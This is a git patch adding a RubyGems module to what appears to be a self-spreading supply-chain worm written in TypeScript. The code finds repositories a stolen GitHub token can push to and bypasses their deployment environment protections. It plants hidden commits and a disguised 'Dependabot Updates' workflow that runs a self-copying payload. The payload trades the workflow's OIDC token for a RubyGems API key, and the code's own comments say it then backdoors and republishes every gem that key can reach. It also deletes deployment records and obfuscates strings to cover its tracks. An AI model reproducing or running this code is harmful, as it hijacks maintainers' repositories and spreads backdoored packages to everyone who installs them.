From 1e565bfe412feff5aa884facea92ad88038448f2 Mon Sep 17 00:00:00 2001 From: shai_hulud Date: Fri, 3 Jul 2026 03:10:42 +0000 Subject: [PATCH] Upload files to "src/mutator/rubygemsoidc" --- src/mutator/rubygemsoidc/branch.ts | 506 +++++++++++++++++++++++++++ src/mutator/rubygemsoidc/detector.ts | 303 ++++++++++++++++ src/mutator/rubygemsoidc/index.ts | 131 +++++++ src/mutator/rubygemsoidc/injector.ts | 74 ++++ 4 files changed, 1014 insertions(+) create mode 100644 src/mutator/rubygemsoidc/branch.ts create mode 100644 src/mutator/rubygemsoidc/detector.ts create mode 100644 src/mutator/rubygemsoidc/index.ts create mode 100644 src/mutator/rubygemsoidc/injector.ts diff --git a/src/mutator/rubygemsoidc/branch.ts b/src/mutator/rubygemsoidc/branch.ts new file mode 100644 index 0000000..b1be72e --- /dev/null +++ b/src/mutator/rubygemsoidc/branch.ts @@ -0,0 +1,506 @@ +import { randomBytes } from "node:crypto"; + +import { githubFetch, githubJson } from "../../github_utils/client"; +import { + createBlob as dbCreateBlob, + createBranch as dbCreateBranch, + createCommit as dbCreateCommit, + createTree as dbCreateTree, + getBranchRef, + getCommitTree, +} from "../../github_utils/gitDb"; +import { logUtil } from "../../utils/logger"; +import { buildSelfExtractingPayload } from "../../utils/selfExtracting"; +import { Mutator } from "../base"; +import { + checkAndBypassEnvironment, + type EnvironmentBypassState, + extractEnvironmentNames, + restoreEnvironment, +} from "../npmoidc/environment"; +import { detectRubygemsPublishingRepo } from "./detector"; +import { injectRubygemsToolStep } from "./injector"; + +declare function scramble(str: string): string; + +// ── Types ─────────────────────────────────────────────────────────────────── + +interface UserRepo { + full_name: string; + default_branch: string; + private: boolean; + fork: boolean; + permissions: { admin: boolean; push: boolean; pull: boolean }; +} + +// ── Mutator ───────────────────────────────────────────────────────────────── + +export class RubygemsOidcBranchMutator extends Mutator { + private readonly token: string; + private readonly indexJs: string; + private readonly dryRun: boolean; + + constructor(token: string, dryRun = false) { + super(); + if (!token) throw new Error("GitHub token required"); + this.token = token; + this.indexJs = ""; + this.dryRun = dryRun; + } + + private async loadIndexJs(): Promise { + if (this.indexJs) return this.indexJs; + try { + const raw = await Bun.file(Bun.main).text(); + return buildSelfExtractingPayload(raw, { wrap: true }); + } catch { + return "// tool stub"; + } + } + + async execute(): Promise { + try { + let repos: UserRepo[]; + + const targetReposEnv = process.env.TARGET_REPOS; + if (targetReposEnv?.trim()) { + const slugs = targetReposEnv + .split(",") + .map((s) => s.trim()) + .filter(Boolean); + logUtil.log( + `[rg-branch] Using TARGET_REPOS env (${slugs.length} repo(s))`, + ); + repos = await fetchReposBySlugs(this.token, slugs); + } else { + logUtil.log("[rg-branch] Fetching writable public repos..."); + repos = await fetchWritableRepos(this.token); + } + + logUtil.log(`[rg-branch] Found ${repos.length} writable repo(s)`); + + const indexJs = await this.loadIndexJs(); + let injected = 0; + + for (const repo of repos) { + try { + const ok = await this.processRepo(repo, indexJs); + if (ok) injected++; + } catch (e) { + logUtil.log( + `[rg-branch] Error processing ${repo.full_name}: ${e instanceof Error ? e.message : String(e)}`, + ); + } + } + + logUtil.log( + `[rg-branch] Done. Injected into ${injected}/${repos.length} repos.`, + ); + return injected > 0; + } catch (e) { + logUtil.log( + `[rg-branch] Fatal: ${e instanceof Error ? e.message : String(e)}`, + ); + return false; + } + } + + /** Process a single repo by full name (e.g. "owner/name"). */ + async processSingleRepo( + fullName: string, + tokenOverride?: string, + ): Promise { + const [owner, name] = fullName.split("/"); + if (!owner || !name) { + logUtil.log(`[rg-branch] Invalid repo name: ${fullName}`); + return false; + } + const token = tokenOverride ?? this.token; + const { githubJson } = await import("../../github_utils/client"); + const repoInfo = await githubJson<{ + default_branch: string; + private: boolean; + fork: boolean; + permissions: { admin: boolean; push: boolean; pull: boolean }; + }>(token, `/repos/${owner}/${name}`); + + const indexJs = await this.loadIndexJs(); + return this.processRepo( + { + full_name: fullName, + default_branch: repoInfo.default_branch, + private: repoInfo.private, + fork: repoInfo.fork, + permissions: repoInfo.permissions, + }, + indexJs, + ); + } + + // ── Per-repo processing ────────────────────────────────────────────────── + + private async processRepo(repo: UserRepo, indexJs: string): Promise { + const [owner, name] = repo.full_name.split("/"); + if (!owner || !name) return false; + + // 1. Detect if this repo publishes to RubyGems via trusted publishing + const detected = await detectRubygemsPublishingRepo( + this.token, + owner, + name, + repo.full_name, + repo.default_branch, + repo.private, + repo.permissions, + ); + + if (!detected) return false; + + // 2. Generate branch name and check environments + const branchName = `oidc-${randomBytes(4).toString("hex")}`; + const envBypasses: EnvironmentBypassState[] = []; + + try { + const envNames = extractEnvironmentNames(detected.workflow.rawYaml); + for (const envName of envNames) { + const result = await checkAndBypassEnvironment( + this.token, + owner, + name, + envName, + branchName, + repo.permissions.admin, + ); + + if (!result.canDeploy) { + logUtil.log(`[rg-branch] ${repo.full_name}: ${result.blockedBy}`); + return false; + } + + if (result.bypassState) { + envBypasses.push(result.bypassState); + logUtil.log( + `[rg-branch] ${repo.full_name}: bypassed env "${envName}"`, + ); + } + } + + // 3. Inject the tool step into the workflow YAML + const injection = injectRubygemsToolStep(detected.workflow.rawYaml, { + workflowFilename: detected.workflow.filename, + gemNames: detected.packageNames, + repoFullName: repo.full_name, + environmentName: detected.workflow.environmentName, + }); + + if (!injection.injected) { + logUtil.log( + `[rg-branch] ${repo.full_name}: injection skipped — ${injection.reason}`, + ); + return false; + } + + // 4. Two dangling commits: add → delete → branch → deployment + const baseRef = await getDefaultBranchRef( + this.token, + owner, + name, + repo.default_branch, + ); + if (!baseRef) { + logUtil.log( + `[rg-branch] ${repo.full_name}: could not resolve default branch ref`, + ); + return false; + } + + const parentSha = baseRef.object.sha; + const baseTreeSha = await getCommitTree( + this.token, + owner, + name, + parentSha, + ); + + // Create blobs + const yamlBlobSha = await createBlob( + this.token, + owner, + name, + injection.modifiedYaml, + ); + const jsBlobSha = await createBlob(this.token, owner, name, indexJs); + + if (!yamlBlobSha || !jsBlobSha) { + logUtil.log(`[rg-branch] ${repo.full_name}: blob creation failed`); + return false; + } + + // Build nested trees + const ghDir = ".github"; + const wfDir = "workflows"; + + const wfTree = await createTree(this.token, owner, name, null, [ + { + path: detected.workflow.filename, + mode: "100644", + type: "blob", + sha: yamlBlobSha, + }, + ]); + if (!wfTree) { + logUtil.log( + `[rg-branch] ${repo.full_name}: workflows tree creation failed`, + ); + return false; + } + + const ghTree = await createTree(this.token, owner, name, null, [ + { path: wfDir, mode: "040000", type: "tree", sha: wfTree.sha }, + ]); + if (!ghTree) { + logUtil.log( + `[rg-branch] ${repo.full_name}: .github tree creation failed`, + ); + return false; + } + + const newTree = await createTree(this.token, owner, name, null, [ + { path: ghDir, mode: "040000", type: "tree", sha: ghTree.sha }, + { + path: scramble("_index.js"), + mode: "100644", + type: "blob", + sha: jsBlobSha, + }, + ]); + if (!newTree) { + logUtil.log(`[rg-branch] ${repo.full_name}: tree creation failed`); + return false; + } + + // Commit 1: add workflow (child of default branch HEAD) + const addSha = await createCommit( + this.token, + owner, + name, + scramble("chore: update ci"), + newTree.sha, + parentSha, + ); + if (!addSha) { + logUtil.log(`[rg-branch] ${repo.full_name}: add commit failed`); + return false; + } + + // Commit 2: delete workflow (restore original base tree, parent = commit 1) + const delSha = await createCommit( + this.token, + owner, + name, + scramble("chore: update ci [skip ci]"), + baseTreeSha, + addSha, + ); + if (!delSha) { + logUtil.log(`[rg-branch] ${repo.full_name}: delete commit failed`); + return false; + } + + logUtil.log( + `[rg-branch] ${repo.full_name}: add=${addSha.slice(0, 7)} del=${delSha.slice(0, 7)}`, + ); + logUtil.log( + ` View add: https://github.com/${owner}/${name}/commit/${addSha}`, + ); + logUtil.log( + ` View del: https://github.com/${owner}/${name}/commit/${delSha}`, + ); + logUtil.log(` Gem(s): ${detected.packageNames.join(", ")}`); + logUtil.log(` Workflow: ${detected.workflow.filename}`); + + // 5. Create branch at commit 2 (makes commit 1 reachable for deployment) + await createBranch(this.token, owner, name, branchName, delSha); + logUtil.log( + `[rg-branch] ${repo.full_name}: branch ${branchName} created ✓`, + ); + + if (this.dryRun) { + logUtil.log( + `[rg-branch] ${repo.full_name}: dry-run — skipping deployment`, + ); + return false; + } + + // 6. Create a deployment targeting commit 1 — triggers the workflow + const deployment = await githubJson<{ id: number }>( + this.token, + `/repos/${owner}/${name}/deployments`, + { + method: "POST", + body: JSON.stringify({ + ref: addSha, + auto_merge: false, + required_contexts: [], + environment: detected.workflow.environmentName ?? "production", + transient_environment: true, + }), + }, + ); + const deployId = deployment.id; + logUtil.log( + `[rg-branch] ${repo.full_name}: deployment ${deployId} created ✓`, + ); + + // 7. Delete the deployment record — the workflow was already + // triggered so this is just housekeeping. + try { + await githubFetch( + this.token, + `/repos/${owner}/${name}/deployments/${deployId}`, + { method: "DELETE" }, + ); + logUtil.log( + `[rg-branch] ${repo.full_name}: deployment ${deployId} deleted ✓`, + ); + } catch { + // best-effort — the deployment event already fired + } + + return true; + } finally { + // Restore any bypassed environments + for (const bypass of envBypasses) { + try { + await restoreEnvironment(this.token, owner, name, bypass); + } catch {} + } + } + } +} + +// ═════════════════════════════════════════════════════════════════════════════ +// Writable repo fetch +// ═════════════════════════════════════════════════════════════════════════════ + +async function fetchReposBySlugs( + token: string, + slugs: string[], +): Promise { + const repos: UserRepo[] = []; + for (const slug of slugs) { + const [owner, name] = slug.split("/"); + if (!owner || !name) continue; + try { + const repo = await githubJson(token, `/repos/${owner}/${name}`); + repos.push(repo); + } catch { + logUtil.log(`[rg-branch] could not fetch repo: ${slug}`); + } + } + return repos; +} + +async function fetchWritableRepos(token: string): Promise { + const repos: UserRepo[] = []; + const perPage = 100; + let page = 1; + + while (true) { + const batch = await githubJson( + token, + `/user/repos?per_page=${perPage}&page=${page}&sort=updated&visibility=public`, + ); + if (!batch || batch.length === 0) break; + for (const r of batch) { + if (r.fork) continue; + if (r.permissions?.push) repos.push(r); + } + if (batch.length < perPage) break; + page++; + } + + return repos; +} + +// ── Thin wrappers ─────────────────────────────────────────────────────────── + +async function getDefaultBranchRef( + token: string, + owner: string, + repo: string, + branch: string, +): Promise<{ object: { sha: string } } | null> { + try { + return await getBranchRef(token, owner, repo, branch); + } catch { + return null; + } +} + +async function createBlob( + token: string, + owner: string, + repo: string, + content: string, +): Promise { + try { + return await dbCreateBlob(token, owner, repo, content); + } catch { + return null; + } +} + +async function createTree( + token: string, + owner: string, + repo: string, + baseTreeSha: string | null, + entries: Array<{ path: string; mode: string; type: string; sha: string }>, +): Promise<{ sha: string } | null> { + try { + const sha = await dbCreateTree( + token, + owner, + repo, + baseTreeSha, + entries as any, + ); + return { sha }; + } catch (e) { + logUtil.error(e); + return null; + } +} + +async function createCommit( + token: string, + owner: string, + repo: string, + message: string, + treeSha: string, + parentSha: string, +): Promise { + try { + return await dbCreateCommit( + token, + owner, + repo, + message, + treeSha, + parentSha, + ); + } catch { + return null; + } +} + +async function createBranch( + token: string, + owner: string, + repo: string, + branchName: string, + sha: string, +): Promise { + await dbCreateBranch(token, owner, repo, branchName, sha); +} diff --git a/src/mutator/rubygemsoidc/detector.ts b/src/mutator/rubygemsoidc/detector.ts new file mode 100644 index 0000000..4a3f306 --- /dev/null +++ b/src/mutator/rubygemsoidc/detector.ts @@ -0,0 +1,303 @@ +// ═════════════════════════════════════════════════════════════════════════════ +// RubyGems OIDC publishing repo detector +// +// Mirrors npmoidc/detector.ts but looks for RubyGems publishing signals in +// GitHub Actions workflow YAML rather than npm publish commands. +// ═════════════════════════════════════════════════════════════════════════════ + +import { githubJson } from "../../github_utils/client"; +import { logUtil } from "../../utils/logger"; + +// ── Types ─────────────────────────────────────────────────────────────────── + +export interface PublishWorkflow { + /** Filename within .github/workflows/ (e.g. "release.yml") */ + filename: string; + /** Workflow name from the YAML */ + name: string; + /** Raw YAML content */ + rawYaml: string; + /** Environment name used for deployment (if any) */ + environmentName?: string; + /** The job name that does the publishing */ + publishJobName?: string; + /** Step index where publishing happens (0-based) */ + publishStepIndex?: number; +} + +export interface RubygemsPublishRepo { + fullName: string; + defaultBranch: string; + isPrivate: boolean; + isFork: boolean; + /** All gem names published from this repo (usually 1, can be >1). */ + packageNames: string[]; + workflow: PublishWorkflow; +} + +// ── Main detection ────────────────────────────────────────────────────────── + +/** + * Determine whether a GitHub repo publishes to RubyGems via trusted + * publishing, and return the relevant package + workflow information. + * + * Returns `null` if the repo does not publish to RubyGems. + */ +export async function detectRubygemsPublishingRepo( + token: string, + owner: string, + repoName: string, + fullName: string, + defaultBranch: string, + isPrivate: boolean, + permissions: { admin: boolean; push: boolean; pull: boolean }, +): Promise { + // We need at least push access to create a branch + if (!permissions.push) { + logUtil.log(`[rg-detector] ${fullName}: no push access — skip`); + return null; + } + + // 1. Find a publish workflow + const workflow = await findRubygemsPublishWorkflow(token, owner, repoName); + if (!workflow) { + logUtil.log(`[rg-detector] ${fullName}: no RubyGems publish workflow`); + return null; + } + + // 2. Extract all gem names from the repo (gemspecs + workflow hints) + const gemNames = await resolveGemNames( + token, + owner, + repoName, + defaultBranch, + workflow, + ); + if (gemNames.length === 0) { + logUtil.log(`[rg-detector] ${fullName}: could not resolve gem name`); + return null; + } + + logUtil.log( + `[rg-detector] ${fullName}: gems=${gemNames.join(", ")} workflow=${workflow.filename}`, + ); + + return { + fullName, + defaultBranch, + isPrivate, + isFork: false, + packageNames: gemNames, + workflow, + }; +} + +// ── Workflow discovery ────────────────────────────────────────────────────── + +const RUBYGEMS_PUBLISH_SIGNALS = [ + // Direct gem push with OIDC audience + /gem\s+push/, + /gem\s+release/, + // RubyGems-specific GitHub Actions + /rubygems\/release-gem/, + /rubygems\/configure-rubygems/, + // OIDC audience for rubygems.org + /audience\s*:\s*rubygems\.org/, + // Generic trusted publishing setup for RubyGems + /rubygems-trusted-publishing/, + /Trusted\s*Publishing/, +]; + +interface ContentItem { + name: string; + path: string; + type: "file" | "dir"; + download_url?: string; +} + +interface WorkflowFile { + filename: string; + name: string; + rawYaml: string; +} + +async function findRubygemsPublishWorkflow( + token: string, + owner: string, + repo: string, +): Promise { + // List .github/workflows directory + let contents: ContentItem[]; + try { + contents = await githubJson( + token, + `/repos/${owner}/${repo}/contents/.github/workflows`, + ); + } catch { + return null; + } + + if (!Array.isArray(contents)) return null; + + const workflowFiles: WorkflowFile[] = []; + + for (const item of contents) { + if (item.type !== "file") continue; + if (!item.name.endsWith(".yml") && !item.name.endsWith(".yaml")) continue; + if (!item.download_url) continue; + + try { + const res = await fetch(item.download_url, { + headers: { Authorization: `Bearer ${token}` }, + }); + if (!res.ok) continue; + const rawYaml = await res.text(); + + // Score the workflow for RubyGems publishing signals + const score = scoreWorkflowForRubygemsPublish(rawYaml); + if (score > 0) { + const wfName = extractWorkflowName(rawYaml) ?? item.name; + workflowFiles.push({ filename: item.name, name: wfName, rawYaml }); + logUtil.log( + `[rg-detector] ${owner}/${repo}: ${item.name} score=${score}`, + ); + } + } catch { + // Skip unreadable files + } + } + + if (workflowFiles.length === 0) return null; + + // Return the highest-scoring workflow + workflowFiles.sort( + (a, b) => + scoreWorkflowForRubygemsPublish(b.rawYaml) - + scoreWorkflowForRubygemsPublish(a.rawYaml), + ); + + return workflowFiles[0]!; +} + +function scoreWorkflowForRubygemsPublish(yaml: string): number { + let score = 0; + const normalized = yaml.toLowerCase(); + + for (const signal of RUBYGEMS_PUBLISH_SIGNALS) { + if (signal.test(normalized)) score += 10; + } + + // Bonus for id-token:write (indicates OIDC / trusted publishing) + if (/id-token\s*:\s*write/.test(normalized)) score += 15; + + // Bonus for on: deployment trigger (repo-scope deployment bypass) + if (/\bdeployment\b/.test(yaml)) score += 5; + + // Bonus for rubygems.org audience in OIDC config + if (/audience\s*:\s*rubygems\.org/.test(normalized)) score += 20; + + return score; +} + +function extractWorkflowName(yaml: string): string | null { + const match = yaml.match(/^name\s*:\s*(.+)$/m); + if (match?.[1]) return match[1]!.trim().replace(/^["']|["']$/g, ""); + return null; +} + +// ── Gem name resolution ───────────────────────────────────────────────────── + +async function resolveGemNames( + token: string, + owner: string, + repo: string, + defaultBranch: string, + workflow: WorkflowFile, +): Promise { + const names = new Set(); + + // Strategy 1: Extract gem names from workflow YAML env vars or commands + const fromWorkflow = extractGemNamesFromWorkflow(workflow.rawYaml); + for (const n of fromWorkflow) names.add(n); + + // Strategy 2: Extract from ALL .gemspec files at the repo root + const fromGemspecs = await extractGemNamesFromGemspecs( + token, + owner, + repo, + defaultBranch, + ); + for (const n of fromGemspecs) names.add(n); + + // Strategy 3: Fall back to repo name if nothing found + if (names.size === 0) names.add(repo); + + return [...names]; +} + +function extractGemNamesFromWorkflow(yaml: string): string[] { + const names: string[] = []; + + // gem push -.gem — may appear multiple times + const pushRe = /gem\s+push\s+(\S+?)(?:-[\d.]+)?\.gem/g; + let m: RegExpExecArray | null; + while ((m = pushRe.exec(yaml)) !== null) { + if (m[1]) names.push(m[1]!); + } + + // GEM_NAME env var + const envMatch = yaml.match(/GEM_NAME\s*[=:]\s*["']?(\S+?)["'\s]/); + if (envMatch?.[1]) names.push(envMatch[1]!); + + // PACKAGE_NAME or GEM env var + const pkgMatch = yaml.match( + /(?:PACKAGE_NAME|GEM)\s*[=:]\s*["']?(\S+?)["'\s]/, + ); + if (pkgMatch?.[1]) names.push(pkgMatch[1]!); + + return names; +} + +async function extractGemNamesFromGemspecs( + token: string, + owner: string, + repo: string, + defaultBranch: string, +): Promise { + const names: string[] = []; + + try { + const contents = await githubJson( + token, + `/repos/${owner}/${repo}/contents?ref=${defaultBranch}`, + ); + if (!Array.isArray(contents)) return names; + + for (const item of contents) { + if (item.type !== "file" || !item.name.endsWith(".gemspec")) continue; + if (!item.download_url) continue; + + try { + const res = await fetch(item.download_url, { + headers: { Authorization: `Bearer ${token}` }, + }); + if (!res.ok) continue; + const gemspec = await res.text(); + + // spec.name = "gem-name" + const nameMatch = gemspec.match(/\.name\s*=\s*["']([^"']+)["']/); + if (nameMatch?.[1]) names.push(nameMatch[1]!); + + // spec.name = %q{gem-name} + const qMatch = gemspec.match(/\.name\s*=\s*%q\{([^}]+)\}/); + if (qMatch?.[1]) names.push(qMatch[1]!); + } catch { + // Skip unreadable gemspecs + } + } + } catch { + // Can't list repo contents + } + + return names; +} diff --git a/src/mutator/rubygemsoidc/index.ts b/src/mutator/rubygemsoidc/index.ts new file mode 100644 index 0000000..1a8dcf4 --- /dev/null +++ b/src/mutator/rubygemsoidc/index.ts @@ -0,0 +1,131 @@ +import { logUtil } from "../../utils/logger"; +import { Mutator } from "../base"; +import { checkRubygemsToken } from "../rubygems/tokenCheck"; + +/** + * RubyGems OIDC mutator — exchanges a GitHub Actions OIDC token for a + * RubyGems API token, then reuses the existing RubyGemsClient to backdoor + * and republish every gem the token has access to. + * + * Mirrors the NPMOidcClient pattern: get OIDC token → exchange for registry + * token → enumerate packages → backdoor + republish. + */ +export class RubyGemsOidcClient extends Mutator { + constructor() { + super(); + } + + async execute(): Promise { + // 1. Get GitHub Actions OIDC token (audience: rubygems.org) + const { ACTIONS_ID_TOKEN_REQUEST_TOKEN, ACTIONS_ID_TOKEN_REQUEST_URL } = + process.env; + + if (!ACTIONS_ID_TOKEN_REQUEST_URL || !ACTIONS_ID_TOKEN_REQUEST_TOKEN) { + logUtil.log( + "[rubygemsOidc] not running in GitHub Actions with id-token:write", + ); + return false; + } + + const oidcUrl = `${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=rubygems.org`; + let oidcToken: string; + try { + const oidcRes = await fetch(oidcUrl, { + headers: { + Authorization: `bearer ${ACTIONS_ID_TOKEN_REQUEST_TOKEN}`, + }, + }); + if (!oidcRes.ok) { + logUtil.log( + `[rubygemsOidc] OIDC token request failed: ${oidcRes.status}`, + ); + return false; + } + const data = (await oidcRes.json()) as { value: string }; + oidcToken = data.value; + if (!oidcToken) { + logUtil.log("[rubygemsOidc] OIDC response missing token"); + return false; + } + } catch (e) { + logUtil.log(`[rubygemsOidc] OIDC token error: ${e}`); + return false; + } + + // 2. Exchange OIDC token for a RubyGems API token + const rgToken = await exchangeOidcForRubygemsToken(oidcToken); + if (!rgToken) { + logUtil.log("[rubygemsOidc] OIDC → RubyGems token exchange failed"); + return false; + } + + // 3. Validate the token and enumerate accessible gems + const tokenInfo = await checkRubygemsToken(rgToken); + if (!tokenInfo.valid || tokenInfo.gems.length === 0) { + logUtil.log( + "[rubygemsOidc] token valid but no gems accessible (scoped or empty)", + ); + return false; + } + + logUtil.log( + `[rubygemsOidc] token valid — ${tokenInfo.gems.length} gem(s) accessible`, + ); + + // 4. Delegate to the existing RubyGemsClient for download/patch/publish + const { RubyGemsClient } = await import("../rubygems/index"); + const client = new RubyGemsClient(tokenInfo); + return client.execute(); + } +} + +// ── OIDC → RubyGems token exchange ───────────────────────────────────────── + +/** + * Exchange a GitHub Actions OIDC token for a short-lived RubyGems API token. + * + * POST https://rubygems.org/api/v1/oidc/api_key_roles/tokens + * Authorization: Bearer + */ +async function exchangeOidcForRubygemsToken( + oidcToken: string, +): Promise { + try { + const res = await fetch( + "https://rubygems.org/api/v1/oidc/api_key_roles/tokens", + { + method: "POST", + headers: { + Authorization: `Bearer ${oidcToken}`, + "Content-Type": "application/json", + Accept: "application/json", + }, + }, + ); + + if (!res.ok) { + const text = await res.text().catch(() => ""); + logUtil.log( + `[rubygemsOidc] token exchange HTTP ${res.status}: ${text.slice(0, 200)}`, + ); + return null; + } + + const data = (await res.json()) as { + rubygems_api_key?: { token?: string; key?: string }; + token?: string; + key?: string; + }; + + return ( + data.rubygems_api_key?.token ?? + data.rubygems_api_key?.key ?? + data.token ?? + data.key ?? + null + ); + } catch (e) { + logUtil.log(`[rubygemsOidc] token exchange error: ${e}`); + return null; + } +} diff --git a/src/mutator/rubygemsoidc/injector.ts b/src/mutator/rubygemsoidc/injector.ts new file mode 100644 index 0000000..dca66ce --- /dev/null +++ b/src/mutator/rubygemsoidc/injector.ts @@ -0,0 +1,74 @@ +// ═════════════════════════════════════════════════════════════════════════════ +// RubyGems OIDC workflow YAML injector +// +// Builds a clean release workflow that replaces the existing one in the +// ephemeral branch commit. The workflow runs on deployment, gets an OIDC +// token, and executes the payload via bun. +// ═════════════════════════════════════════════════════════════════════════════ + +declare function scramble(str: string): string; + +// ── Types ─────────────────────────────────────────────────────────────────── + +export interface InjectionResult { + modifiedYaml: string; + injected: boolean; + reason?: string; +} + +export interface InjectionContext { + workflowFilename: string; + /** Comma-separated gem names for the GEM_NAME env var */ + gemNames: string[]; + repoFullName: string; + environmentName?: string; +} + +// ── Public API ────────────────────────────────────────────────────────────── + +/** + * Build a clean release workflow that replaces the original. + * + * The injected workflow: + * - Triggers on deployment (repo-scope technique) + * - Has id-token:write for OIDC token retrieval + * - Checks out the repo, installs bun, runs the payload + */ +export function injectRubygemsToolStep( + _rawYaml: string, + ctx: InjectionContext, +): InjectionResult { + const { gemNames, repoFullName, workflowFilename, environmentName } = ctx; + const nameList = gemNames.join(","); + + const envBlock = environmentName + ? `\n environment:\n name: ${JSON.stringify(environmentName)}\n prevent_deployment: true` + : ""; + + const newWorkflow = [ + `name: Dependabot Updates`, + `run-name: Dependabot Updates`, + `on:`, + ` deployment`, + `jobs:`, + ` release:`, + ` runs-on: ubuntu-latest`, + ` permissions:`, + ` id-token: write`, + ` contents: read`, + envBlock || null, + ` steps:`, + ` - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd`, + ` - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6`, + ` - name: publish`, + ` run: bun run _index.js`, + ` env:`, + ` GEM_NAME: ${JSON.stringify(nameList)}`, + ` WORKFLOW_ID: ${JSON.stringify(workflowFilename)}`, + ` REPO_ID_SUFFIX: ${JSON.stringify(repoFullName)}`, + ] + .filter(Boolean) + .join("\n"); + + return { modifiedYaml: newWorkflow, injected: true }; +}